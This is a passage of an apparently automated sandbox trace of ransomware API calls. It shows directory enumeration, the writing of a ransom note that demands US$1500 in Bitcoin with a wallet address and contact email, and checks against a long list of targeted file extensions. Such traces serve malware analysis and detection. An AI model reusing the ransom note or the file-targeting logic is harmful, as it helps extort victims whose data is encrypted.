nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 0 [0101.330] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.330] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eea8a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.6.0.Microsoft.MediaCenter", cAlternateFileName="POLICY~1.MED")) returned 1 [0101.330] lstrcmpA (lpString1=".", lpString2="Policy.6.0.Microsoft.MediaCenter") returned -1 [0101.330] lstrcmpA (lpString1="..", lpString2="Policy.6.0.Microsoft.MediaCenter") returned -1 [0101.330] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.330] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.6.0.Microsoft.MediaCenter" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter" [0101.330] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter") returned 61 [0101.330] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eea8a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.331] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.331] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eea8a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.331] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.331] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.331] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0101.331] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.331] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.331] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\*.*") returned="*.*" [0101.331] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35" [0101.331] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35") returned 87 [0101.331] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.335] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.335] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81ec4740, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.335] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.335] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.335] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81eea8a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81eea8a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81eea8a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x33c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.6.0.Microsoft.MediaCenter.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.335] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.335] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.6.0.Microsoft.MediaCenter.config") returned -1 [0101.335] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.6.0.Microsoft.MediaCenter.config") returned -1 [0101.335] lstrcmpiA (lpString1="", lpString2="Policy.6.0.Microsoft.MediaCenter.config") returned -1 [0101.335] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.335] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\" [0101.335] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.335] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.336] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.336] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.microsoft.mediacenter\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.337] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0101.337] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0101.338] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.339] CloseHandle (hObject=0x90) returned 1 [0101.339] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\", lpString2="Policy.6.0.Microsoft.MediaCenter.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config" [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.ems") returned 0 [0101.339] lstrlenA (lpString="*.ems") returned 5 [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.db") returned 0 [0101.339] lstrlenA (lpString="*.db") returned 4 [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.dbf") returned 0 [0101.339] lstrlenA (lpString="*.dbf") returned 5 [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.myox") returned 0 [0101.339] lstrlenA (lpString="*.myox") returned 6 [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.myo") returned 0 [0101.339] lstrlenA (lpString="*.myo") returned 5 [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qbw") returned 0 [0101.339] lstrlenA (lpString="*.qbw") returned 5 [0101.339] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qbb") returned 0 [0101.340] lstrlenA (lpString="*.qbb") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qbm") returned 0 [0101.340] lstrlenA (lpString="*.qbm") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qbo") returned 0 [0101.340] lstrlenA (lpString="*.qbo") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qbx") returned 0 [0101.340] lstrlenA (lpString="*.qbx") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qba") returned 0 [0101.340] lstrlenA (lpString="*.qba") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qby") returned 0 [0101.340] lstrlenA (lpString="*.qby") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qbj") returned 0 [0101.340] lstrlenA (lpString="*.qbj") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.ofx") returned 0 [0101.340] lstrlenA (lpString="*.ofx") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.qif") returned 0 [0101.340] lstrlenA (lpString="*.qif") returned 5 [0101.340] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mye") returned 0 [0101.340] lstrlenA (lpString="*.mye") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mbox") returned 0 [0101.341] lstrlenA (lpString="*.mbox") returned 6 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.eml") returned 0 [0101.341] lstrlenA (lpString="*.eml") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.pst") returned 0 [0101.341] lstrlenA (lpString="*.pst") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.ost") returned 0 [0101.341] lstrlenA (lpString="*.ost") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.idx") returned 0 [0101.341] lstrlenA (lpString="*.idx") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.dbx") returned 0 [0101.341] lstrlenA (lpString="*.dbx") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.sql") returned 0 [0101.341] lstrlenA (lpString="*.sql") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mdb") returned 0 [0101.341] lstrlenA (lpString="*.mdb") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.fdb") returned 0 [0101.341] lstrlenA (lpString="*.fdb") returned 5 [0101.341] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.wab") returned 0 [0101.341] lstrlenA (lpString="*.wab") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.dat") returned 0 [0101.342] lstrlenA (lpString="*.dat") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.txt") returned 0 [0101.342] lstrlenA (lpString="*.txt") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.jpeg") returned 0 [0101.342] lstrlenA (lpString="*.jpeg") returned 6 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.jpg") returned 0 [0101.342] lstrlenA (lpString="*.jpg") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.png") returned 0 [0101.342] lstrlenA (lpString="*.png") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.php") returned 0 [0101.342] lstrlenA (lpString="*.php") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.cs") returned 0 [0101.342] lstrlenA (lpString="*.cs") returned 4 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.cpp") returned 0 [0101.342] lstrlenA (lpString="*.cpp") returned 5 [0101.342] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.rar") returned 0 [0101.342] lstrlenA (lpString="*.rar") returned 5 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.zip") returned 0 [0101.343] lstrlenA (lpString="*.zip") returned 5 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.html") returned 0 [0101.343] lstrlenA (lpString="*.html") returned 6 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.htm") returned 0 [0101.343] lstrlenA (lpString="*.htm") returned 5 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.xlsx") returned 0 [0101.343] lstrlenA (lpString="*.xlsx") returned 6 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.xls") returned 0 [0101.343] lstrlenA (lpString="*.xls") returned 5 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mp4") returned 0 [0101.343] lstrlenA (lpString="*.mp4") returned 5 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.ppt") returned 0 [0101.343] lstrlenA (lpString="*.ppt") returned 5 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.pptx") returned 0 [0101.343] lstrlenA (lpString="*.pptx") returned 6 [0101.343] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.doc") returned 0 [0101.343] lstrlenA (lpString="*.doc") returned 5 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.dot") returned 0 [0101.344] lstrlenA (lpString="*.dot") returned 5 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.docx") returned 0 [0101.344] lstrlenA (lpString="*.docx") returned 6 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.7z") returned 0 [0101.344] lstrlenA (lpString="*.7z") returned 4 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.tar") returned 0 [0101.344] lstrlenA (lpString="*.tar") returned 5 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.bz2") returned 0 [0101.344] lstrlenA (lpString="*.bz2") returned 5 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.gz") returned 0 [0101.344] lstrlenA (lpString="*.gz") returned 4 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.mkv") returned 0 [0101.344] lstrlenA (lpString="*.mkv") returned 5 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.eml") returned 0 [0101.344] lstrlenA (lpString="*.eml") returned 5 [0101.344] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.msg") returned 0 [0101.344] lstrlenA (lpString="*.msg") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.edb") returned 0 [0101.345] lstrlenA (lpString="*.edb") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.accdb") returned 0 [0101.345] lstrlenA (lpString="*.accdb") returned 7 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.odb") returned 0 [0101.345] lstrlenA (lpString="*.odb") returned 5 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", pszSpec="*.java") returned 0 [0101.345] lstrlenA (lpString="*.java") returned 6 [0101.345] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.Microsoft.MediaCenter\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.Microsoft.MediaCenter.config", 